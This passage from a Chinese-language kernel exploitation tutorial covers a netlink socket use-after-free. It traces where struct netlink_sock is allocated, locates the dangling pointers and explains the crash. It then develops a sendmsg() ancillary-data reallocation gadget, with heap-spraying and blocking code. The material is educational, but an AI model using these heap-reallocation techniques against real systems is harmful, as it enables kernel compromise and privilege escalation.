{if (alloc_slab) {prot->slab = kmem_cache_create(prot->name,            // <----- creates a kmem_cache named "prot->name"sk_alloc_size(prot->obj_size), 0,         // <----- uses the "prot->obj_size"SLAB_HWCACHE_ALIGN | proto_slab_flags(prot),NULL);if (prot->slab == NULL) {printk(KERN_CRIT "%s: Can't create sock SLAB cache!\n",prot->name);goto out;}// ... cut (allocates other things) ...}// ... cut (register in the proto_list) ...return 0;// ... cut (error handling) ...
}

这儿是唯一可以协议是否能有专门的cache的地方。因此,netlink_proto_init()在调用proto_register()时alloc_slab是0,netlink协议使用的是一个通用的cache。正如你所猜想的,问题中的通用cache将会决定proto的obj_size字段。我们会在下一节看到的。

3-5 他是在哪里分配的?

到现在为止,我们知道在整一个协议注册的过程中,netlink家族注册了一个struct net_proto_family即是netlink_family_ops。这个结构式相当直接的(创造回调):

struct net_proto_family {int     family;int     (*create)(struct net *net, struct socket *sock,int protocol, int kern);struct module   *owner;
};
static struct net_proto_family netlink_family_ops = {.family = PF_NETLINK,.create = netlink_create,               // <-----.owner  = THIS_MODULE,
};

当netlink_create()被调用之后,一个struct socket就已经被申请了。他的目的是去分配struct netlink_sock,并且将他和socket链接起来和初始化 struct socket和struct netlink_sock字段。这也是他进行套接字类型(RAW原始套接字, DGRAM数据包式套接字)和netlink的协议标识符(NETLINK_USERSOCK, …)安全检查的地方。

static int netlink_create(struct net *net, struct socket *sock, int protocol,int kern)
{struct module *module = NULL;struct mutex *cb_mutex;struct netlink_sock *nlk;int err = 0;sock->state = SS_UNCONNECTED;if (sock->type != SOCK_RAW && sock->type != SOCK_DGRAM)return -ESOCKTNOSUPPORT;if (protocol < 0 || protocol >= MAX_LINKS)return -EPROTONOSUPPORT;// ... cut (load the module if protocol is not registered yet - lazy loading) ...err = __netlink_create(net, sock, cb_mutex, protocol, kern);    // <-----if (err < 0)goto out_module;// ... cut...
}

依次下去,__netlink_create()是struct netlink_sock创建的关键。

      static int __netlink_create(struct net *net, struct socket *sock,struct mutex *cb_mutex, int protocol, int kern){struct sock *sk;struct netlink_sock *nlk;[0]     sock->ops = &netlink_ops;[1]     sk = sk_alloc(net, PF_NETLINK, GFP_KERNEL, &netlink_proto);if (!sk)return -ENOMEM;[2]     sock_init_data(sock, sk);// ... cut (mutex stuff) ...[3]     init_waitqueue_head(&nlk->wait);[4]     sk->sk_destruct = netlink_sock_destruct;sk->sk_protocol = protocol;return 0;}

__netlink_create()函数:
[0]设置socket的proto_ops 虚函数表为netlink_ops
[1]用prot->slab和prot->obj_size的信息申请了一个netlink_sock
[2]初始化sock的发送和接收缓冲区,初始化sk_rcvbuf/sk_sndbuf变量,绑定socket和sock。
[3]初始化等待队列
[4]定义一个专门的析构函数在释放struct netlink_sock的时候会被调用。

最后,sk_alloc()实际是调用 sk_prot_alloc() (通过使用 struct proto即netlink_proto)。这儿就是内核使用专门或者通用的cache进行分配的地方。

static struct sock *sk_prot_alloc(struct proto *prot, gfp_t priority,int family)
{struct sock *sk;struct kmem_cache *slab;slab = prot->slab;if (slab != NULL) {sk = kmem_cache_alloc(slab, priority & ~__GFP_ZERO);      // <-----// ... cut (zeroing the freshly allocated object) ...}elsesk = kmalloc(sk_alloc_size(prot->obj_size), priority);    // <-----// ... cut ...return sk;
}

在我们看来整个协议绑定的过程中,他没有使用任何slab(slab是空的),所以他将会调用kmalloc()函数(通用cache)。

最后,我么需要整理出一个netlink_create()的调用路径。让人惊奇的是,进入的地方是socket()的syscall,我们不会展开所有路径(这是一个很好的练习)。这儿是结果:

- SYSCALL(socket)
- sock_create
- __sock_create // allocates a "struct socket"
- pf->create    // pf == netlink_family_ops
- netlink_create
- __netlink_create
- sk_alloc
- sk_prot_alloc
- kmalloc

好的,我么知道netlink_sock 是在哪里被分配的和kmem_cache 的类型是通用kmem_cache ,但是我们仍然不知道确切的kmem_cache (kmalloc-32? kmalloc-64?)。

3-6 静态和动态检测对象大小

上一节中,我们知道了netlink_sock对象是被一个通用kmem_cache分配的

kmalloc(sk_alloc_size(prot->obj_size), priority)
\\kmalloc(大小,类型)

sk_alloc_size()在哪:

#define SOCK_EXTENDED_SIZE ALIGN(sizeof(struct sock_extended), sizeof(long))static inline unsigned int sk_alloc_size(unsigned int prot_sock_size)
{return ALIGN(prot_sock_size, sizeof(long)) + SOCK_EXTENDED_SIZE;
}

NOTE:struct sock_extended结构体是用于在不破坏内核的ABI的情况下扩展原本的struct sock。这个不是一定要去了解的,我们只是需要明白他的大小是被预先申请的。

就是说大小是:sizeof(struct netlink_sock) + sizeof(struct sock_extended) + SOME_ALIGNMENT_BYTES.

记住我们不是一定要知道确切的大小。既然我们分配到一个通用的
kmem_cache,我们只需要知道cache的上界即最大值足够容纳我们的对象(见核心概念)。

WARNING-1:在核心概念中提到通用的kmemcaches有2的次方的大小。这不一定是完全准确的。有些操作系统有其他大小像 “kmalloc-96” 和 “kmalloc-192”。这样做的理由是有很多对象是更接近这些大小,而不是2的次方,这么做可以减少内碎片。

WARNING-2:使用“仅调试”的方法是一个好的开始点去大致了解目标对象的大小。无论怎么样,这些大小可能是错的在生产内核上的预处理配置文件不同。他会变化一些字节甚至几百字节。同时,我们应该在我们计算出来的内核和kmem_cache大小边界相近的时候特别关注。举个例子,一个260字节的对象可以在kmalloc-512但是可能被减少到220字节在生产内核上(对于kmalloc-256,那将会很困难)。

ps
standard(production) kernel:生产内核就是指我们正在使用的kernel。
Crash(capture)kernel:捕获内核 ,linux系统崩溃后使用的内核。

用下面的方法5(看下面),我们发现我们的目标大小是kmalloc-1024,这是一个完美的cache去实现UAF,你会在再分配字节看到的。

Method #1 [static]: 手算
这个注意是纯手工去加所有的字段大小(例如long是8字节,int是4字节)。这个方法在小的结构上效果很好,但是在打的结构上很容易出错。必须考虑对齐,填充,打包(减少数据结构中的数据结构)。例如:

struct __wait_queue {unsigned int flags;           // offset=0, total_size=4// offset=4, total_size=8 <---- PADDING HERE TO ALIGN ON 8 BYTESvoid *private;                // offset=8, total_size=16wait_queue_func_t func;       // offset=16, total_size=24struct list_head task_list;   // offset=24, total_size=40 (sizeof(list_head)==16)
};

这个很简单,但是可以看看struct sock,祝你好运。这个甚至更容易出错,当需要考虑每一个预处理程序配置的宏和控制复杂的union。

Method #2 [static]: 用 ‘pahole’ 工具 (debug only)
pahole是一个很好的工具去实现这个,他自动的做做这个冗长的先置任务。举个例子,把struct socket的结构dump下来:

$ pahole -C socket vmlinuz_dwarf
struct socket {socket_state               state;                /*     0     4 */short int                  type;                 /*     4     2 *//* XXX 2 bytes hole, try to pack */long unsigned int          flags;                /*     8     8 */struct socket_wq *         wq;                   /*    16     8 */struct file *              file;                 /*    24     8 */struct sock *              sk;                   /*    32     8 */const struct proto_ops  *  ops;                  /*    40     8 *//* size: 48, cachelines: 1, members: 7 *//* sum members: 46, holes: 1, sum holes: 2 *//* last cacheline: 48 bytes */
};

这看起来是一个完美的工具,但是他需要内核有 DWARF标志。然而开发内核是没有这个的。

Method #3 [static]: 用反编译器
好的,你不能确切的得到一个合适的kmalloc()大小是因为他是动态的。无论怎样,你可能需要尽量的去查看这些结构所用偏移地址(特别是最后一个字段)然后手工计算,我们之后会确切的使用。

Method #4 [dynamic]: 用 System Tap 工具 (debug only)
在第一部分我们展示了如何使用Sytem Tap的Guru模式去写一些代码嵌入内核中(LKM)。我们可以重新使用他在这儿,仅仅重新查看sk_alloc_size()函数的过程。注意你不一定能直接调用sk_alloc_size()因为他是内联函数。无论怎么样,你能复制粘贴他的代码然后dump下来。

另一种方法可以在socket()调用期间探测kmalloc()的调用。机会可能翻倍,那么怎么去知道哪个是正确的呢?你可以close()这个你刚刚创建的socket,探测kfree()然后尽力去匹配在kmalloc()中的指针。因为kmalloc的第一个参数是大小,所以你可以找到正确的一个。

作为一种选择,你可以使用来自kmalloc()的print_backtrace()函数。当心,System Tap会抛弃一些信息,如果内容太多的话。

Method #5 [dynamic]: 查看 "/proc/slabinfo"
这个方法看起来和low,但是其实效果很好。如果kmem_cache使用一个专用的cache,那么你直接有这个对象的大小在“objsize”列,只需要知道你的kmem_cache的名字(struct proto)
要不然,就写一个需要分配大量目标对象的程序。例如:

int main(void)
{while (1){// allocate by chunks of 200 objectsfor (int i = 0; i < 200; ++i)_socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK);getchar();}return 0;
}

NOTE:我们在这儿做的实际上是堆喷射(heap spraying)。
在另一个窗口跑:

watch -n 0.1 'sudo cat /proc/slabinfo | egrep "kmalloc-|size-" | grep -vi dma'

然后运行程序,输入一个键来触发下一个块的划分。在一些时间后,你会看到一个通用cache"active_objs/num_objs"越来越多,这个就是我们的目标kmem_cache

3-7 总结:

好了,收集全部的信息花了很久。无论怎么样,他是必要的,而且让我们更好的了解到了网络协议API。我希望你现在知道为什么
KASAN是让人惊叹的,他做的所有这些工作甚至更多。

让我们来总结一下:
分配器是什么?
SLAB
对象是什么?
struct netlink_sock
他属于哪一个cache?
kmalloc-1024
他是怎么申请的?

  • SYSCALL(socket)
  • sock_create
  • __sock_create // allocates a “struct socket”
  • pf->create // pf == netlink_family_ops
  • netlink_create
  • __netlink_create
  • sk_alloc
  • sk_prot_alloc
  • kmalloc

他是怎么释放的?

  • <<< what ever calls sock_put() on a netlink_sock (e.g. netlink_detachskb()) >>>
  • sock_put
  • sk_free
  • __sk_free
  • sk_prot_free
  • kfree
    这儿还有最后一件事情需要分析,这就是如何(读/写?恶意返回参数?多少大小?)。这些会在下面的章节被讲到。

4.分析UAF(悬空指针)

我们回到bug

在这节中,我们会找到UAF的悬空指针,为什么part2部分的验证代码crash了,为什么我们以及做的“UAF迁移”(不是一个官方的称呼)是对我们有利的。

4-1 寻找悬空指针

现在,内核还没有机会在界面反馈错误就残忍的崩溃了。所以,我们没有任何调用跟踪区了解他是这么进行的。唯一确认的事是我们每次打中他的关键点,他就崩溃了,从前也没有过。当然,这个是有意的。我们实际上已经做了一个UAF转移。来解释以下:

整个exploit初始化时,我们做了:

  • 创造一个netlink socket
  • 对他进行约束
  • 填充他的接收缓冲区
  • 重复两次触发漏洞

这是,我们现在的工作情况:

file cnt  | sock cnt  | fdt[3]    | fdt[4]    | fdt[5]    | file_ptr->private_data | socket_ptr->sk |
----------+-----------+-----------+-----------+-----------+------------------------+----------------+
3         | 2         | file_ptr  | file_ptr  | file_ptr  | socket_ptr             | sock_ptr       |注意,这里面的fdt[4]和fdt[5]应该都是dup()出来的
fdt[3]=sock_fd,fdt[4]=unblock_fd,fdt[5]=sock_fd2

注意socket_ptr (struct socket)和sock_ptr(struct netlink_sock)的不同。

我们假设:

fd=3 is "sock_fd"
fd=4 is "unblock_fd"
fd=5 is "sock_fd2"

struct file与我们的netlink socket相关的计数器是3,因为一个是socket()的,两个是dup()的。反过来,sock的计数器是2,因为一个是socket()用,一个是bind()用。

现在,让我们来触发这个漏洞一次,这个sock计数器将会减一,文件计数器也会减一。而且fdt[5]变成null了,注意调用close(5)没有sock计数器减一,使这个漏洞做的。

现在的情况:

file cnt  | sock cnt  | fdt[3]    | fdt[4]    | fdt[5]    | file_ptr->private_data | socket_ptr->sk |
----------+-----------+-----------+-----------+-----------+------------------------+----------------+
2         | 1         | file_ptr  | file_ptr  | NULL      | socket_ptr             | sock_ptr       |

触发第二次:

file cnt  | sock cnt  | fdt[3]    | fdt[4]    | fdt[5]    | file_ptr->private_data | socket_ptr->sk      |
----------+-----------+-----------+-----------+-----------+------------------------+---------------------+
1         | FREE      | NULL      | file_ptr  | NULL      | socket_ptr             | (DANGLING) sock_ptr |

同样的,这里close(3)没有让sock的计数器减一,是这个漏洞做的。因为这个计数器变成了0,所以才被释放的。

正如我们所看见的,这个struct file仍然或者因为第四个文件指针指向他。并且,这个struct socket现在又一个悬空指针在各个释放的sock对象上。这个减少上面提到的UAF迁移。不像第一个情景,sock变量是一个悬空指针,现在是struct socket结构体中sk指针。换种方式说,我们现在可以通过还活着的unblock_fd来访问socket的悬空指针。

你可能想知道为什么struct socket仍然又一个悬空指针?原因是,当netlink_sock 对象被用__sk_free()释放之后,他做了:
1.调用sock的析构函数
2.调用sk_prot_free()

没有一个实际上更新了socket的结构体。

如果你在利用漏洞的时候在最后按下一个键之前看来命令行界面,你会发现一个信息:

[  141.771253] Freeing alive netlink socket ffff88001ab88000

这个来自sock的析构函数netlink_sock_destruct() (__sk_free()调用的):

static void netlink_sock_destruct(struct sock *sk)
{struct netlink_sock *nlk = nlk_sk(sk);// ... cut ...if (!sock_flag(sk, SOCK_DEAD)) {printk(KERN_ERR "Freeing alive netlink socket %p\n", sk); // <-----return;}// ... cut ...
}

好了,我们现在找到了一个悬空指针,你猜猜看怎么样,还有更多。

当我们用netlink_bind()创建目标socket的时候,我们看到计数器被增加了一。那就是为什么我们会可以用netlink_getsockbypid()来引用他。没有太多的细节,netlink_sock指针被存在nl_table的哈希表中(这会在第四部分被讲到)。当销毁一个sock对象,这些指针也变成了悬空指针。

去找到所有的悬空指针又以下两点原因:

  • 我们可以用他们去使用UAF,他们是基础。
  • 我们需要在修复内核的时候修复他们。

让我们据徐去理解为什么内核会crash在退出的时候。

4-2 了解crash:

在上面的文章中我们发现了三个悬空指针:
在struct socket中的sk(sk被释放了,但是struct socket没有被释放,其中的第一个字段指向sk,所以就变成了悬空指针)
两个netlink_sock指针在nl_table的哈希表中(有三个netlink_sock指向一个sk,一个被释放了,其他两个就是悬空指针)

现在是时候去解释为什么poc会crash。

我们输入一个字符的在我们的验证代码时发生了什么?这个exp仅仅是退出了,到那时这个意味着很多。内核需要去释放每一个分配给程序的资源。不然会又大量的内存泄露。

这个退出的过程本身时有一点复杂的。他多半时发生在do_exit()函数。在一些时候,他需要去释放文件相关的指针。他大概做了这些:

  1. 请求调用do_exit()([kernel/exit.c])
  2. 调用exit_files(),这个函数是通过put_files_struct()去释放当前的 struct files_struct 引用。
  3. 因为着是最后的引用,put_files_struct() 调用close_files()。
  4. close_files()循环访问FDT表,为每一个剩余的文件调用filp_close()。
  5. filp_close()调用fputs()在unblock_fd的文件指针上。
  6. 因为他是最后一个引用,所以_fput()启动了。
  7. 最后,_fputs()调用文件操作 file->f_op->release(),实际上就是sock_close()。
  8. sock_close()调用sock->ops->release()(proto_ops: netlink_release())和设置sock->file为null
  9. 在netlink_release()时,有很多UAF操作最后导致crash。

为了保持简单,我们没有把unblock_fd释放,而是让他在程序退出的时候自动释放。在最后,netlink_release()将会被调用。从这里开始,这儿有很多UAF,如果他不crash就太幸运了:

static int netlink_release(struct socket *sock)
{struct sock *sk = sock->sk;         // <----- dangling pointerstruct netlink_sock *nlk;if (!sk)                            // <----- not NULL because... dangling pointerreturn 0;netlink_remove(sk);                 // <----- UAFsock_orphan(sk);                    // <----- UAFnlk = nlk_sk(sk);                   // <----- UAF// ... cut (more and more UAF) ...
}

哇。。。这儿有很多UAF操作,对不?他事实上太多了:-(。。。问题是,每一个操作都必须如此:
1.做一些有用的事或者什么都不做
2.不会crash(因为bug)或者坏的返回参数

因为这个,netlink_release()不是一个好的选择,对于exp来说(看下一节)。

在进一步之前,让我们确认让程序crash的真正原因通过修改poc和运行他:

int main(void)
{// ... cut ...printf("[ ] ready to crash?\n");PRESS_KEY();close(unblock_fd);printf("[ ] are we still alive ?\n");PRESS_KEY();
}

很好,我们没有看见"[ ] are we still alive?"的信息。我们的直觉是对的,内核crash是因为netlink_release()的UAF们。这也代表其他很重要的事:我们有一个我们想要就可以触发UAF的方法。

现在我们发先了悬空指针,了解为什么内核crash,了解我们可以无论何时的触发UAF,现在是时候去写exp了。

5.利用(重新分配)

“这不是演习”

独立于bug,一个UAF的exp需要一个再分配在一些指针上。为了去做他,一个reallocation gadget 是必要的。

一个reallocation gadget意味着强迫内核在用户空间(一般是通过syscall())使用kmalloc()(内核代码路径)。一个完美的reallocation gadget有以下的特性:

  • 快:在到达kmalloc()之前没有复杂的路径。
  • 数据控制:填充任意数据在kmalloc()分配的空间里。
  • 没有阻塞:这个gadget不会阻塞线程。
  • 灵活的:kmalloc的size参数可控。

不幸的是,极少能发现一个简单的gadget可以做上面的所有的。一个著名的gadget是msgsnd() (System V IPC,系统5进程间通信)。他是快的,他也不阻塞,你达到一些通用的kmem_cache 从64的大小开始。哎,他无法控制前48位的数据(sizeof(struct msg_msg))。我们不将会使用他在这儿,如果你对这个gadget好奇,可以看看sysv_msg_load()。

这节会介绍另一个知名的gadget:ancillary data buffer(也被叫做sendmsg())。然后他将会揭示你exp失败的主要原因和怎么去最小化风险。总结本节,我们将会看到怎么样在用户空间使用再分配。

5-1 再分配简介(SLAB)

为了用类型混淆写UAF的exp,我们需要去申请一个精心安排的对象在老的struct netlink_sock里面。让我们想一想这个对象是在:0xffffffc0aabbcced。我们无法去改变位置。

“如果你不能去找他们,就让他们来找你”

在特定的位置分配对象叫做重定位。往往这个内存地址和你刚刚释放的内存是相同的。(我们例子中的struct netlink_sock)

通过SLAB分配器,这是很简单的。为什么?通过struct array_cache的帮助,SLAB使用LIFO算法。这就表明,最后释放的内存地址 (kmalloc-1024)和第一个重新投入使用的地址是相同的。
这是非常震惊的,因为他和slab无关。如果你尝试使用SLUB重新分配的话,就不会是这样的了。

让我们描述一下 kmalloc-1024的cache:
1.每个kmalloc-1024的对象有1024字节的大小。
2.每个slab是由一个简单的页面组测(4096字节),因此每一个slab里面由4个对象。
3.现在让我们假设这个cache有两个slab。

在释放 struct netlink_sock 对象之前,我们在这个情况:

注意ac->available是指向下一个未分配的空对象的编号(plus one)。netlink_sock 对象是被释放的。在最快的方法中,释放一个对象等同于:

ac->entry[ac->avail++] = objp;  // "ac->avail" is POST-incremented

他导致了这个情况:

最后,一个struct sock对象被分配(kmalloc(1024))通过最快路径。

objp = ac->entry[--ac->avail];  // "ac->avail" is PRE-decremented

导致了下面的情况:

这就是了。 新struct sock的内存地址是和老的struct netlink_sock (0xffffffc0aabbccdd)一样的。我们做了一个重分配。不是很差,对吧?

当然,这个是理想的例子。在实际中,多件事可能出错就像我们接下来做的一样。

5-2 重定位gadget

先前的文章介绍了两个socket缓冲区:发送缓冲区和接收缓冲区。这儿其实有第三个:选择缓冲区(也被叫做辅助数据缓冲区)。在这一节,我们将会看到怎么样用任意数据填充他并且把他作为我们的在分配gadget。

这个gadget是可以被上面所说的sendmsg()的系统调用访问到。函数__sys_sendmsg()是(几乎)直接被SYSCALL_DEFINE3(sendmsg)调用:

      static int __sys_sendmsg(struct socket *sock, struct msghdr __user *msg,struct msghdr *msg_sys, unsigned flags,struct used_address *used_address){struct compat_msghdr __user *msg_compat =(struct compat_msghdr __user *)msg;struct sockaddr_storage address;struct iovec iovstack[UIO_FASTIOV], *iov = iovstack;
[0]     unsigned char ctl[sizeof(struct cmsghdr) + 20]__attribute__ ((aligned(sizeof(__kernel_size_t))));/* 20 is size of ipv6_pktinfo */unsigned char *ctl_buf = ctl;int err, ctl_len, iov_size, total_len;// ... cut (copy msghdr/iovecs + sanity checks) ...[1]     if (msg_sys->msg_controllen > INT_MAX)goto out_freeiov;
[2]     ctl_len = msg_sys->msg_controllen;if ((MSG_CMSG_COMPAT & flags) && ctl_len) {// ... cut ...} else if (ctl_len) {if (ctl_len > sizeof(ctl)) {[3]         ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);if (ctl_buf == NULL)goto out_freeiov;}err = -EFAULT;[4]       if (copy_from_user(ctl_buf, (void __user *)msg_sys->msg_control,ctl_len))goto out_freectl;msg_sys->msg_control = ctl_buf;}// ... cut ...[5]     err = sock_sendmsg(sock, msg_sys, total_len);// ... cut ...out_freectl:if (ctl_buf != ctl)
[6]       sock_kfree_s(sock->sk, ctl_buf, ctl_len);out_freeiov:if (iov != iovstack)sock_kfree_s(sock->sk, iov, iov_size);out:return err;}

他做了:
[0]:申明一个ctl的缓冲区大小是(16+20)字节在栈中
[1]:确保用户空间的msg_controllen是小于等于INT_MAX
[2]:把用户空间的msg_controllen 拷贝到ctl_len
[3]:用kmalloc()分配一个大小为ctl_len内核缓冲区ctf_buf
[4]:把ctl_len大小的msg_control 中的用户数据拷贝到内核缓冲区ctl_buf (在[3]中申请的)
[5]:调用sock_sendmsg(),这个函数会调用一个socket的回调sock->ops->sendmsg()
[6]:释放内核缓冲区ctl_buf

ps:具体的cmsghdr和msghdr可以参考https://blog.csdn.net/wsllq334/article/details/6977039。msghdr 其中的msg_control(指向缓冲区)与msg_controllen(缓冲区大小)字段就是所谓的附属缓冲区成员。附属信息可以包括0,1,或是更多的单独附属数据对象。在每一个对象之前都有一个struct cmsghdr结构。头部之后是填充字节,然后是对象本身。简单的说,就是struct msghdr是整个sendmsg的头,cmsghdr是辅助缓冲区
的头

大量的用户空间数据,对不?对,那就是为什么我们喜欢他。总之,我们可以申请一块内核缓冲区通过

kmalloc():
msg->msg_controllen:任意大小(必须比36字节大,但是小于INT_MAX)
msg->msg_control:任意数据

现在。让我们来看看sock_kmalloc()做了什么:

      void *sock_kmalloc(struct sock *sk, int size, gfp_t priority){[0]     if ((unsigned)size <= sysctl_optmem_max &&atomic_read(&sk->sk_omem_alloc) + size < sysctl_optmem_max) {void *mem;/* First do the add, to avoid the race if kmalloc* might sleep.*/
[1]       atomic_add(size, &sk->sk_omem_alloc);
[2]       mem = kmalloc(size, priority);if (mem)
[3]         return mem;atomic_sub(size, &sk->sk_omem_alloc);}return NULL;}

首先,这个大小的参数是会被再次检查,与内核范围“optmem_max”比较。他能被在procfs文件系统里面检索:

$ cat /proc/sys/net/core/optmem_max

如果这个size是小于sysctl_optmem_max ,那么会将size和当前sock的当前可选择内存缓冲区大小相加并且检查他是否小于sysctl_optmem_max(optmem_max)[0]。我们将会需要区检查这个在exp中。记住,我们的目标kmem_cache是kmalloc-1024。如果这个optmem_max的大小是小于或者等于512字节的,那么我们搞砸了。在例子中,我们应该找到另一个重定向gadget。sk_omem_alloc 已经在sock创造时被初始化为0了。

NOTE:记住kmalloc(512 + 1)就会在kmalloc-1024的cache里了。

如果检查0通过了,那么sk_omem_alloc 会被增加size的大小[1]。然后,这儿时一个kmalloc()的调用,使用的时size参数。如果他成功了,这个指针会被返回[3],否则sk_omem_alloc会减去size然后函数会返回null。

好了,我们可以调用kmalloc()申请几乎任意大小的空间([36,sysctl_optmem_max]),他内容会被任意值填充。虽然有问题。ctl_buf缓冲区会被自动的释放当__sys_sendmsg()退出的时候([6]在之前的函数里)。即,sock_sendmsg()的调用必须被中止。(sock->ops->sendmsg())

5-3 阻止sendmsg()

在过去的文章里,我们知道怎么让一个sendmsg()被中止:填满整个接收缓冲区。这个可能会诱惑我们去做和netlink_sendmsg()一样的事。不幸的是,我们不能重用这个方法。原因是netlink_sendmsg()将会调用netlink_unicast(),netlink_unicast()会调用netlink_getsockbypid()。如此一来,将会让我们在nl_table的哈希表悬空指针被取消(UAF)。

即,我们必须找到另一个socket家族:AF_UNIX。你可以使用另一个,但是这个是很棒,因为他不需要任何特殊权限而且几乎无处不在。

ps:AF_UNIX见:https://www.cnblogs.com/shangerzhong/p/9153737.html

WARNING:我们不将会介绍AF_UNIX的实现(特别是unix_dgram_sendmsg()),那会很长。他不是那么复杂(和AF_NETLINK很相近),我们只需要知道两件事:

  1. 申请任意数据在“选择的”缓冲区(最后一节)
  2. 让unix_dgram_sendmsg()调用中止

像netlink_unicast(),一个sendmsg会被以下条件中止:

  1. 接收缓冲区是满的
  2. 发生socket的timeout值被设置为MAX_SCHEDULE_TIMEOUT

在unix_dgram_sendmsg()(像netlink_unicast()),这个timeo的值是被计算的:

timeo = sock_sndtimeo(sk, msg->msg_flags & MSG_DONTWAIT);static inline long sock_sndtimeo(const struct sock *sk, int noblock)
{return noblock ? 0 : sk->sk_sndtimeo;
}

即,如果我们不设置noblock参数(不使用MSG_DONTWAIT),那么timeout的值是sk_sndtimeo。幸运的是,这个值可以通过setsockopt()控制:

int sock_setsockopt(struct socket *sock, int level, int optname,char __user *optval, unsigned int optlen)
{struct sock *sk = sock->sk;// ... cut ...case SO_SNDTIMEO:ret = sock_set_timeout(&sk->sk_sndtimeo, optval, optlen);break;// ... cut ...
}

他调用了sock_set_timeout():

static int sock_set_timeout(long *timeo_p, char __user *optval, int optlen)
{struct timeval tv;if (optlen < sizeof(tv))return -EINVAL;if (copy_from_user(&tv, optval, sizeof(tv)))return -EFAULT;if (tv.tv_usec < 0 || tv.tv_usec >= USEC_PER_SEC)return -EDOM;if (tv.tv_sec < 0) {// ... cut ...}*timeo_p = MAX_SCHEDULE_TIMEOUT;          // <-----if (tv.tv_sec == 0 && tv.tv_usec == 0)    // <-----return 0;                             // <-----// ... cut ...
}

在最后,如果我们调用setsockopt()通过选择SO_SNDTIMEO,然后给他一个被填充为0的struct timeval 。他将会设置timeout的值为MAX_SCHEDULE_TIMEOUT(无限阻塞)。他不要求任何特殊的权限。

我们的问题解决了。

第二个问题是我们需要处理控制数据缓冲区的代码。他很容易在unix_dgram_sendmsg()被调用。

static int unix_dgram_sendmsg(struct kiocb *kiocb, struct socket *sock,struct msghdr *msg, size_t len)
{struct sock_iocb *siocb = kiocb_to_siocb(kiocb);struct sock *sk = sock->sk;// ... cut (lots of declaration) ...if (NULL == siocb->scm)siocb->scm = &tmp_scm;wait_for_unix_gc();err = scm_send(sock, msg, siocb->scm, false);     // <----- hereif (err < 0)return err;// ... cut ...
}

我们虽然在上一篇文章绕过了检查,但是这儿依然有一些不同的事情:

static __inline__ int scm_send(struct socket *sock, struct msghdr *msg,struct scm_cookie *scm, bool forcecreds)
{memset(scm, 0, sizeof(*scm));if (forcecreds)scm_set_cred(scm, task_tgid(current), current_cred());unix_get_peersec_dgram(sock, scm);if (msg->msg_controllen <= 0)         // <----- this is NOT true anymorereturn 0;return __scm_send(sock, msg, scm);
}

正如你所看到的,我们使用过msg_control (所以msg_controllen 是被确定了的)。即我们再也不能绕过 __scm_send(),他需要返回0。

让我们从”辅助数据信息对象“的结构看起:

struct cmsghdr {__kernel_size_t cmsg_len;   /* data byte count, including hdr */int             cmsg_level;   /* originating protocol */int             cmsg_type;    /* protocol-specific type */
};

这是一个16字节的数据结构而且必须在我们的msg_control的缓冲区开始位置(有着任意数据填充)。他的使用事实上取决于socket的类型。我们可以把他们看成,在socket做了一些特殊的事情。举个例子,在UNIX的socket,他可以被用来通过socket传输一些资格凭证。

控制消息缓存(msg_control)能维持一个或多个控制信息。每个控制信息是有头部和数据组成。

第一条控制信息头部可以使用CMSG_FIRSTHDR()检索:

#define CMSG_FIRSTHDR(msg)  __CMSG_FIRSTHDR((msg)->msg_control, (msg)->msg_controllen)#define __CMSG_FIRSTHDR(ctl,len) ((len) >= sizeof(struct cmsghdr) ? \(struct cmsghdr *)(ctl) : \(struct cmsghdr *)NULL)

即,他检查是否在msg_controllen 预计的len是大于16位的。如果不是,意味着控制信息缓冲区甚至没有一个控制信息头。既然这样,他直接返回null。不然,他返回第一个控制信息的开始地址(msg_control)。

为了找到下一个控制信息,必须使用CMG_NXTHDR()去检索下一个控制信息头的开始地址:

#define CMSG_NXTHDR(mhdr, cmsg) cmsg_nxthdr((mhdr), (cmsg))static inline struct cmsghdr * cmsg_nxthdr (struct msghdr *__msg, struct cmsghdr *__cmsg)
{return __cmsg_nxthdr(__msg->msg_control, __msg->msg_controllen, __cmsg);
}static inline struct cmsghdr * __cmsg_nxthdr(void *__ctl, __kernel_size_t __size,struct cmsghdr *__cmsg)
{struct cmsghdr * __ptr;__ptr = (struct cmsghdr*)(((unsigned char *) __cmsg) +  CMSG_ALIGN(__cmsg->cmsg_len));if ((unsigned long)((char*)(__ptr+1) - (char *) __ctl) > __size)return (struct cmsghdr *)0;return __ptr;
}

这个不像他看起来一样复杂。他实际上用现在控制信息的头地址cmsg 加上了当前控制信息头部中的cmsg_len字节(如果必要的话会加一写对齐)。如果下一个头部的总计大小超出了当前整个控制消息缓冲区,那么意味着这儿没有更多头部了,他会返回null。否则,将放回下一个头的指针。

当心!cmsg_len 是他的信息和他的头部的长度和。

最后,这是一个完整性检查宏CMSG_OK()去检查当前的控制信息大小(cmsg_len)是不是大于控制信息缓冲区。

#define CMSG_OK(mhdr, cmsg) ((cmsg)->cmsg_len >= sizeof(struct cmsghdr) && \(cmsg)->cmsg_len <= (unsigned long) \((mhdr)->msg_controllen - \((char *)(cmsg) - (char *)(mhdr)->msg_control)))

好了,现在让我们看看__scm_send()的代码,最后对控制信息做了一些实际有用的事:

      int __scm_send(struct socket *sock, struct msghdr *msg, struct scm_cookie *p){struct cmsghdr *cmsg;int err;[0]     for (cmsg = CMSG_FIRSTHDR(msg); cmsg; cmsg = CMSG_NXTHDR(msg, cmsg)){err = -EINVAL;[1]       if (!CMSG_OK(msg, cmsg))goto error;[2]       if (cmsg->cmsg_level != SOL_SOCKET)continue;// ... cut (skipped code) ...}// ... cut ...[3]     return 0;error:scm_destroy(p);return err;}

我们的目标是去强迫 __scm_send()返回0[3]。因为msg_controllen 是我们再分配的大小(1024)。我们将会进入这个循环[0](CMSG_FIRSTHDR(msg) != NULL)。

因为[1],这个值在第一个控制信息头部应该是有效的。我们将会设置他为1024(我们整个控制信息缓冲区的大小)。然后,通过指定一个值不同于SOL_SOCKET 。我们可以跳过整个循环[2]。即,下一个控制信息头部将会被CMSG_NXTHDR()查找,因为cmsg_len 和msg_controllen 是相等的(这是唯一一个控制信息),cmsg将会被设置为null,我们将会成功退出循环,返回0[3]。

用另一句话来说,下列过程:

  1. 我们不能控制重新分配缓冲区的前8个字节
  2. 我们对cmsg控制头的第二字段有约束,值不能等于1。
  3. 头的最后4个字节和其他的1008个字节是可以任意使用的。

好的,我们得到了所有我们需要的东西,去重新分配一个几乎是任意字符填充的kmalloc-1024的cache。在深入研究之前,我们来看看那些可能出错。

5-4 什么可能出错

